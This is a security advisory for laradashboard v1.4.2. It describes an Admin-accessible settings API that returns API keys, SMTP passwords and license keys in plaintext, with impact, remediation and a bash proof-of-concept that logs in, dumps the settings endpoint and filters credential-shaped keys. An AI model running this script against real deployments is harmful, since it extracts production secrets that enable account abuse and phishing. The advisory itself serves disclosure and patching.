GHSA-xgmw-7ppx-v7hq
laradashboard/laradashboard: Raw Settings & Secret Dump via settings.view (extended by the new plaintext email_verification_api_key)
laradashboard/laradashboard
CVSS
6.5MediumExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
What fixes it
No source in this snapshot names a fixed version.
Description
Raw Settings & Secret Dump via settings.view (extended by the new plaintext email_verification_api_key)
- Severity: CVSS
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - CWE: 312 (cleartext storage of sensitive info) / 863
- Affected: v1.4.2;
SettingResource,Api/SettingController,Settingmodel,LicenseVerificationService, newEmailVerificationService
Summary
settings.view (part of the legacy settings.* group granted to Admin by default) returns the **raw, unmasked value of every setting**, including credential fields. Settings secrets are stored/rendered in plaintext, so the disclosure is total.
// SettingResource.php:17-26
return collect($this->settings)->filter(...)->map(fn($s) => [
'key' => $s->key, 'value' => $s->value, // raw
])->values();
// Api/SettingController.php:55-77 — settings.view -> index/show dump; update writes arbitrary key=>valuePlaintext storage sites verified:
LicenseVerificationService.php:32-71—module_licenses(JSON of customer-site licenses + keys) stored/returned raw.Setting.php:113,128— credential-shaped keys (*_key,mail_password, ...) stored literally.- NEW (1.4.2):
EmailVerificationService.php:42-116—email_verification_api_keykept plaintext in settings and echoed into the AbstractAPI call:Http::get('https://emailvalidation.abstractapi.com/v1/', ['api_key' => settings('email_verification_api_key'), ...]).
Reproduction (authenticated as Admin)
GET /admin/api/settings → full key=>value dump incl. secrets GET /api/settings/.json → same via settings.view search response for: _api_key, mail_password, module_licenses, email_verification_api_key, recaptcha_*
Impact
- Exfiltration of production credentials (SMTP, AI, license, recaptcha, payment, module keys).
- The v1.4.2 AbstractAPI key is directly usable to drain the quota (ties into N-02) and to build a bulk-mailbox-verification oracle for phishing.
- License keys fuel V-04 (module-license activation) and counterfeit-license detection bypass via
PurchaseModuleRequest.
Remediation
- Allow-list non-sensitive keys in
SettingResource/Api/SettingController; mask credential shapes (*_key,*_secret,*_password, tokens) as••••. - Encrypt-at-rest for secrets (Laravel
Crypt) + decrypt on demand only. - Store MCP/verification API keys via
.env/config, not editable settings.
PoC
Script
#!/usr/bin/env bash
# V-03: Raw settings & secret dump via settings.view
set -eu
BASE="${BASE_URL:?Set BASE_URL to running app}"
ADMIN_EMAIL="${ADMIN_EMAIL:-admin@example.com}"
ADMIN_PASS="${ADMIN_PASS:-password}"
COOKIE=$(mktemp)
trap 'rm -f "$COOKIE"' EXIT
curl -sS -c "$COOKIE" "$BASE/login" > /dev/null
CSRF=$(curl -sS -b "$COOKIE" "$BASE/login" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
curl -sS -b "$COOKIE" -c "$COOKIE" -X POST "$BASE/login" \
-d "_token=$CSRF&email=$ADMIN_EMAIL&password=$ADMIN_PASS" -o /dev/null
echo "[1/3] Dumping settings:"
curl -sS -b "$COOKIE" "$BASE/api/settings/.json" | python3 -m json.tool 2>/dev/null | head -60
echo "[2/3] Filtering credential-shaped keys:"
curl -sS -b "$COOKIE" "$BASE/api/settings/.json" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for s in data.get('settings', []):
k = s.get('key','')
if any(t in k.lower() for t in ['_key','_secret','_password','token','license','smtp','verification']):
v = s.get('value',''); print(f' {k}: {v[:30]}{"..." if len(v)>30 else ""}')"
echo "[3/3] Admin panel full dump (settings.view):"
curl -sS -b "$COOKIE" "$BASE/admin/settings" -o /dev/null -w " admin settings page HTTP %{http_code}\n"
echo "[+] Done — secrets returned in plaintext."Expected output
[1/3] Dumping settings:
{ "settings": [ {"key":"general_site_name","value":"My Site"}, ... ] }
[2/3] Filtering credential-shaped keys:
email_verification_api_key: 21ab34cd…
mail_mailer_password: S3cr3t…
module_licenses: {"site.com":[{"license_key":"LKEY-…","purchase_code":"…"}]}
google_maps_api_key / ai_*_key / recaptcha_*: …
[3/3] Admin panel full dump (settings.view):
admin settings page HTTP 200
[+] Done — secrets returned in plaintext.Includes the v1.4.2 new email_verification_api_key (plaintext) — directly usable to drain the AbstractAPI quota and to bulk-verify mailboxes for phishing.
Connect with the researcher: Evilord on LinkedIn
Text from GitHub Advisory Database
Affected versions 1
- laradashboard/laradashboard, php,laravelv1.4.2 GitHub